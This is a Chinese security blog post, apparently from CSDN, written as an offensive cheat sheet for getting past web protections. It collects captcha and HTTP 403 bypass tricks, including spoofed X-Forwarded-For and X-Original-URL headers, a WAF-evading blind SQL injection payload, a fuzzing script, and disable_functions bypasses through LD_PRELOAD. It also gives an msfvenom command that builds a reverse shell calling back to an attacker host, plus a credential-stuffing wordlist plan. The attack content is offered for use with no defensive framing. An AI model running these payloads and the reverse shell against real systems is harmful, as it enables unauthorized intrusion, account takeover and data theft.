绕过专题

①绕过验证码专题

原理:
直接截取返回包的cookie或者json流中的验证码进行绕过,提取出验证码进行直接验证即可–>绕过
方法
利用burp中的Extractor或者是Bp自带的Marco进行自动化测试

典型类型:

①如返回包的cookie中可截取验证码
②返回包的json流中可能有验证码

万能验证码

0000与9999

空验证码

code=undefined

②403绕过专题

方法

①端口利用-->一个站不同的端口测
②修改host-->收集一个资产的相关ip,进行测不同host请求状况
③覆盖请求url
绕的参数-->X-Original-URL和X-Rewrite-URL标头绕过Web服务器的限制。(可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。)
即覆盖参数请求思路-->即服务器支持该两种请求状况思路时可利用绕
如
#常见于-->后台登录时一闪而过,要求验证类
从http header方面bypass

Request
  GET /auth/login HTTP/1.1
  Response
  HTTP/1.1 403 Forbidden
  
  Reqeust
  GET / HTTP/1.1
  X-Original-URL: /auth/login
  Response
  HTTP/1.1 200 OK
 
  or
  
  Reqeust
  GET / HTTP/1.1
  X-Rewrite-URL: /auth/login
  Response
  HTTP/1.1 200 OK
 除了这些还可绕思路
302跳转:拦截并drop跳转的数据包,使其停留在当前页面,修改返回的302为200,然后删除掉Location字段。即可绕过
#从url参数方面bypass
/admin/panel    # ===> 403
/admin/monitor  # ===> 200
/admin/monitor/;panel   # ===> 302
web.com/admin   # ===> 403

web.com/ADMIN       # ===> 200
web.com/admin/      # ===> 200
web.com/admin/.     # ===> 200
web.com//admin//    # ===> 200
web.com/./admin/./  # ===> 200
web.com/./admin/..  # ===> 200
web.com/%2f/admin/  # ===> 200
web.com/admin.json  # ===> 200(ruby)
web.com/%2e/admin   # ===> 200
web.com/%252e/admin # ===> 200
web.com/%ef%bc%8fadmin  # ===> 200
web.com/admin       # ===> 302
web.com/admin..;/   # ===> 200
#从协议上bypass
http://web.com/admin    # ===> 403
https://web.com/admin   # ===> 200
④referer绕
添加一个ReFerer参数进行绕
ReFerer:https://xxx/auth/login
⑤代理ip方式绕
如该类参数
 X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1

在这里插入图片描述
相关插件

③绕upload专题

upload绕
文件上传绕过技巧总结

④绕sql注入专题

绕云锁sql注入

and if(ascii(substr((/*!50000%53elect*/column_name from information_schema.columns where table_schema=database/**/() and table_name='xxxx' limit 0,1),1,1))>96,1,sleep/**/(5))

典型分析链接

sql注入绕过特殊姿势

#常见可试绕过思路
--%0a union --%0a select 
#常见可测试点
order by,group by,{$var}
#mysql
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
数据库是Mysql,可以尝试使用&&替换and,如:' && '1'='1,' %26%26 '1'='1
数据库是Mysql,waf过滤了=,可尝试用like替代。如:and 1 like 1

绕waf

①识别waf
两个工具
②三个fuzz工具
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
https://github.com/fuzzdb-project/fuzzdb/tree/master/attack
https://github.com/foospidy/payloads
③常用fuzz脚本
def fuzzing(payload):
    payloads = []
    special_chars = ['\r', '\n', '\t', '_', '~', '&', '-', '=', '/', '*','^', '$', ',', '.', '/', '<', '>', '|', '/**/', '--','\r\n', '||']
    #special_chars 字典在步骤2中选择合适的
    for char in special_chars:
        for k in range(len(payload)):
            try:
                temp_payload = payload[:k] + char + payload[k:]
                payloads.append(temp_payload)
            except Exception as e:
                print(e)

    return payloads

sql注入bypass
注意点
1.版本导致注入问题
mysql版本4.1时,因为不存在默认表,所以可能出现爆不出表的情况

⑤绕目录遍历

#利用其绕读取
…/./

#如即–>目录遍历
在这里插入图片描述

⑥绕函数禁用类

四种方法
①攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞

②寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;

③mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;

④利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

需要利用条件:
①php需要支持putenv()、mail()函数
②linux环境下
绕shell时遇到函数禁用
①插件工具


https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

构造执行命令

Payload:http://xxx/dp1.php?cmd=whoami&outpath=/tmp/xx&sopath=/xxx/dp1.so**
②蚁剑插件绕
php版本7的话直接梭哈
如linux下
找到sock文件

/tmp/php-cgi-56.sock

在这里插入图片描述
执行即可获得一个马
在这里插入图片描述

然后直接执行后
进行连接
这个.antproxy.php
密码为原来马的密码
在这里插入图片描述
然后连接执行即可绕过

但是注意这个绕只可绕一会,然后就会断掉
所以接着绕法

msfs生成一个马,上传到这个上面,然后在这几分钟里面进行执行命令,从而实现监听
#如
msfvenom -p linux/x64/shell_reverse_tcp -i 5 LHOST=x.x.x.x LPORT=80 -f elf -o /root/shell.elf

在这里插入图片描述
③组件思路
bypass disable_function总结
中间组件bypass

⑦字典爆破思路

撞库
常见手机号
常见登录账号(admin、manager、test、deme)
数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
拼音(zhangsan、zhang.san、zhangs)
中文(张三、李四、张san)
英文名(Tom、Jeo、Cherry)
单位名(zssx123、zssx@123)
地名(beijing123、beijing@123)
组合(地名+单位名)
域名(baidu@123、JD@123)
生日组合

⑧绕目录限制

方法:新建一个.user.ini 文件
里面内容下面这个,从而实现绕过php.ini文件

open_basedir=:/
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值